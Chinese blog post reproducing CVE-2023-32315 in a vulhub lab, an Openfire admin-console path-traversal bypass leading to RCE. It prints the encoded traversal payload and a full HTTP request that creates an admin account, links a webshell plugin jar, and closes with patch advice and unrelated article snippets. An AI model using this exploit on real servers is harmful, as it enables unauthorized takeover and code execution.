CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE的复现

CVE-2023-32315:Openfire管理控制台身份验证绕过到RCE复现

前言

本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!!

一.Openfire简介

Openfire是根据开源Apache许可证授权的实时协作(RTC)服务器。它使用唯一广泛采用的即时消息开放协议XMPP(也称为Jabber)。

二.漏洞简述

在 4.7.4 和 4.6.7 之前的版本中,发现 Openfire 的管理控制台(管理控制台)是一个基于 Web 的应用程序,容易受到通过设置环境进行的路径遍历攻击。这允许未经身份验证的用户在已配置的 Openfire 环境中使用未经身份验证的 Openfire 设置环境来访问为管理用户保留的 Openfire 管理控制台中的受限页面。

三.漏洞原理

Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。

四.影响版本

3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现
clone项目:

 sudo git clone https://github.com/vulhub/vulhub.git

在这里插入图片描述在/openfire/CVE-2023-32315/目录,用下面的命令下载并启动:

sudo docker-compose up -d

在这里插入图片描述搞定,查看环境:

sudo docker-compose ps

在这里插入图片描述看到端口,这里是9090。

在浏览器上访问http://your-ip:9090

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:

在这里插入图片描述此时复现的Openfire版本为4.7.4

六.漏洞复现

十多年前,在 Openfire 管理控制台中发现了一个路径遍历问题 CVE-2008-6508。攻击者能够使用 /setup/setup-/…/…/[page].jsp 绕过身份验证检查并在不知道管理员用户名和密码的情况下访问 Arbitratry 页面。

从那时起,路径遍历保护已经到位,可以防止这种攻击。

嵌入式Web服务器的后期升级包括对UTF-16字符的非标准URL编码的支持。Openfire 中的路径遍历保护未更新为包括针对此新编码的保护。因此,攻击者能够使用 /setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp 以再次绕过路径遍历保护。

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

在这里插入图片描述出现这种情况,证明漏洞存在

1.使用POC创建新的用户已经登录密码test/test
POC

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=test&name=&email=&password=test&passwordConfirm=test&isadmin=on&create=Create+User HTTP/1.1
Host: ip:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

2.使用构造POC进行发包
在这里插入图片描述然在响应中引发了异常,但创建了一个同时具有用户名和密码“test”的账户。

3.使用创建的账户进行登录
在这里插入图片描述在这里插入图片描述成功登录账户!!!

七.漏洞利用(命令执行)

根据创建的用户登录之后上传webshell,上传封装好的jar包,插件位置处上传jar包。

下载地址:

https://pan.baidu.com/s/1RHxoHb7DhgElOwOQGxGb1A 
提取码:pezj

在这里插入图片描述上传jar包,成功上传。
在这里插入图片描述在这里插入图片描述登录密码为123点击登录
在这里插入图片描述在这里插入图片描述命令执行成功,拿到webshell。

八.修复建议

1.升级版本至4.6.8或4.7.5及以上,目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:

https://github.com/igniterealtime/Openfire/releases

2.制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。

九.参考

https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
https://vulhub.org/#/environments/openfire/CVE-2023-32315/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/93991.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亚马逊,eBay,速卖通买家账号是如何实现高权重,高存活率的

现在测评&#xff0c;补单机构越来越多&#xff0c;看似寻常的便捷渠道也潜藏着很大的风险&#xff0c;尤其是当大量机器代替人工、各种质量参差不齐的测评机构被曝光&#xff0c;跨境卖家“踩坑遇骗”的情况也就屡屡出现。很多卖家都选择自己注册买家账号&#xff0c;自己做测…

推荐两款开源的绘制流程图软件

一句话导读 目前流程图绘制软件非常多&#xff0c;包括本机安装的、web端的都有&#xff0c;如Visio、Graphviz、processOn等等。但是几乎都是收费的。本文给大家介绍两款优秀的开源免费的流程图绘制软件。 目录 一句话导读 一、draw.io 二、Meta2d.js ​1.为什么使用 2.…

Android 蓝牙开发( 二 )

前言 上一篇文章给大家分享了Android蓝牙的基础知识和基础用法&#xff0c;不过上一篇都是一些零散碎片化的程序&#xff0c;这一篇给大家分享Android蓝牙开发实战项目的初步使用 效果演示 : Android蓝牙搜索&#xff0c;配对&#xff0c;连接&#xff0c;通信 Android蓝牙实…

两台电脑共享文件设置

步骤一&#xff1a;确保网络连接正常&#xff0c;可网线直连。 两台电脑IP设置&#xff0c;例&#xff1a; 步骤二&#xff1a;启用共享功能。 1.在【控制面板】中选择【网络和Internet】&#xff1b; 2.点击【网络和共享中心】&#xff0c;在左侧导航栏中&#xff0c;点击【…

android——spinner下拉弹窗、popupwindow下拉弹窗列表

一、spinner下拉弹窗 效果图如下&#xff1a; adapter的代码&#xff1a; package com.yaona.spinnerimport android.R import android.content.Context import android.graphics.Color import android.view.LayoutInflater import android.view.View import android.view.Vie…

深度图相关评测网站

文章目录 1 单目/Stereo相关测评网站介绍12 单目/Stereo相关测评网站介绍23 单目/Stereo相关测评网站介绍3 1 单目/Stereo相关测评网站介绍1 https://vision.middlebury.edu/stereo/eval3/ 2 单目/Stereo相关测评网站介绍2 http://www.cvlibs.net/datasets/kitti/eval_stereo…

Vue-关于路由规则模块的封装

路由的封装抽离 对路由的封装进行封装&#xff0c;方便main.js文件维护 首先&#xff1a; 我们需要再src文件夹中创建一个router文件夹&#xff0c;在里面在创建一个index.js文件夹。 然后&#xff1a; 我们再index.js文件夹中进行封装路由规则 import Find from /views/F…

Docker切换文件系统为VFS

一、介绍 Docker支持AUFS、Btrfs、Device Mapper、OverlayFS、VFS、ZFS六种不同的存储驱动。 1. AUFS AUFS是一种常见的存储驱动程序&#xff0c;它也使用了Linux内核的AUFS文件系统。它的优点是支持所有的Linux发行版&#xff0c;可以在不同的容器之间共享文件系统&#xf…

《Go 语言第一课》课程学习笔记(十三)

方法 认识 Go 方法 Go 语言从设计伊始&#xff0c;就不支持经典的面向对象语法元素&#xff0c;比如类、对象、继承&#xff0c;等等&#xff0c;但 Go 语言仍保留了名为“方法&#xff08;method&#xff09;”的语法元素。当然&#xff0c;Go 语言中的方法和面向对象中的方…

自动驾驶攻城战,华为小鹏先亮剑

点击关注 文&#xff5c;刘俊宏 编&#xff5c;苏扬、王一粟 本文为光锥智能x腾讯科技联合出品 2023年过半&#xff0c;城市NOA&#xff08;城市领航辅助驾驶&#xff09;的元年如预期中到来了吗&#xff1f; 8月25日&#xff0c;成都车展开幕&#xff0c;与4个月之前的上海…

——滑动窗口

滑动窗口 所谓滑动窗口&#xff0c;就是不断的调节子序列的起始位置和终止位置&#xff0c;从而得出我们要想的结果。也可以理解为一种双指针的做法。 leetcode76 class Solution {public String minWindow(String s, String t) {char[] schars s.toCharArray();char[] tc…

undolog

一、原子性 ACID&#xff1a;通过undolog保证原子性 二、undolog 如何做 把回滚时所需的东西都给记下来&#xff1a; 1、插入一条记录时&#xff0c;至少要把这条记录的主键值记下来&#xff0c;回滚的时候只需要把这个主键值对应的记录删掉就好了。 2、删除了一条记录&…